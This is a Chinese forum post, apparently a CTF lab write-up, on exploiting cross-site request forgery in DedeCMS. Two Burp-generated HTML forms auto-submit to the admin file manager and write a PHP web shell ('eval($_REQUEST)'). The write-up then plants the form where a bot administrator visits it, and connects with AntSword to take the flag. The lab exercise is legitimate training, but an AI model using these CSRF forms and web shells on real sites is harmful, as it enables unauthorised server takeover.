【CTF】前端渗透 CSRF wp
本帖最后由 孤樱懶契 于 2021-8-22 08:28 编辑# 前言
> - 前端渗透/CSRF,学习一下!
# CSRF跨站请求伪造了解
csrf跨站请求伪造:也被称为“one click attack”或者sessingriding,通常缩写为csrf或者xsrf,是一种对网站的恶意利用。尽管听起来像跨站脚本(xss)但它与xss非常不同,xss利用的是站点内的信任用户,而csrf是通过伪装来自受信任的用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
用户只要不关闭阅览器或者退出登录的时候,如果用户无意间点开了构造好的csrf脚本的链接,可能会用户不想做的事(通过恶意的js代码可以操纵阅览器去发送修改用户信息的数据包给正常的网站)
(因为用户访问正常网站时会产生cookie,,而用户没有关闭或者退出登陆,所以这个cookie还没有失效,所以就会很容易的进入正常网站去修改用户的信息)
## 构造csrf恶意网站方法
Burp有自己构造csrf poc 的功能,在让用户访问这个构造好的网页
## 靶场环境
> **不用下源码,直接用这个测试csrf,poc的作用**
>
> 织梦管理登陆:http://59.63.200.79:8010/csrf/uploads/dede/login.php
>
> 登陆方式:admin admin123
> **这个织梦网站,是我们提交问题反馈,机器人访问从而getshell的网站**
>
> http://59.63.200.79:8010/newcsrf/
>
> 问题反馈:http://59.63.200.79:8010/newcsrf/test/
>
> 分析,提示是织梦cms,应该是发给管理员访问,然后直接写一句话,因为管理员页面无法访问。
**由于找历史源码很麻烦,所以就不本地测试,直接用提供的第一个有账号密码的织梦靶场来测试是否存CSRF**
首先登陆之后,进入文件式管理器,写一句话木马抓包看看
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818102059506.png)
发现并没有token,或者验证码等限制,可以利用BURP的POC生成CSRF
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818102229457.png)
创建一个test.html来存储,来测试
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120547059.png)
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120627673.png)
**打开刚刚新建的test.html,点击submit测试**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120706491.png)
成功生成shell
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120740891.png)
**但是这种需要我们自己点submit的方式一般没人会点,所以我们调成自动访问,加一个name:aa,然后document.aa.submit()直接提交实现自动提交,无需点击**
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/csrf/uploads/uploads" />
<input type="hidden" name="filename" value="shell.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST);?>" />
<input type="hidden" name="B1" value="±£ ′?" />
<input type="submit" value="Submit request" />
</form>
<script>
document.aa.submit();
</script>
</body>
</html>
```
**既然测试环境已经成功实现了csrf,我们可以尝试获取一下newcsrf靶场的实战,接着通过目录扫描获取了newcsrf的文件操作目录**http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php,将poc中的action改成newcsrf的文件操作目录就可以提交了(注意:上传的一句话木马路径也要改对 `name="activepath" value="/newcsrf"`)
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818124106553.png)
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="aa" action="http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/newcsrf" />
<input type="hidden" name="filename" value="a.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST);?>" />
<input type="hidden" name="B1" value="±£ ′?" />
<input type="submit" value="Submit request" />
</form>
<script>
document.aa.submit();
</script>
</body>
</html>
```
**因为我们可能没有公网,所以靶场提供了一个可以上传html的地方,在问题反馈页面**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818121820266.png)
上传刚刚我们得到poc,看看是否存在,记得确认是否存在
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818121848947.png)
**确认好了,就可以上传shell到主页了,问题反馈一下,让机器人访问一下**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818123847788.png)
**接着我们就可以在我们上传的路径看到shell了**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818123927992.png)
**下面基操,蚁剑连接,拿flag**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818124250106.png)
# 我的个人博客
> ## 孤桜懶契:http://gylq.gitee.io 学习一下,谢谢楼主! 收藏学习,去楼主博客也学到不少,感谢 虽然没看懂~~但是 好厉害的样子 学习学习! 前端渗透,我要学习! 好好学习 谢谢楼主分享 向楼主学习,谢谢楼主辛苦的分享 感谢楼主分享,支持
感谢大佬分享,支持
页:
[1]
2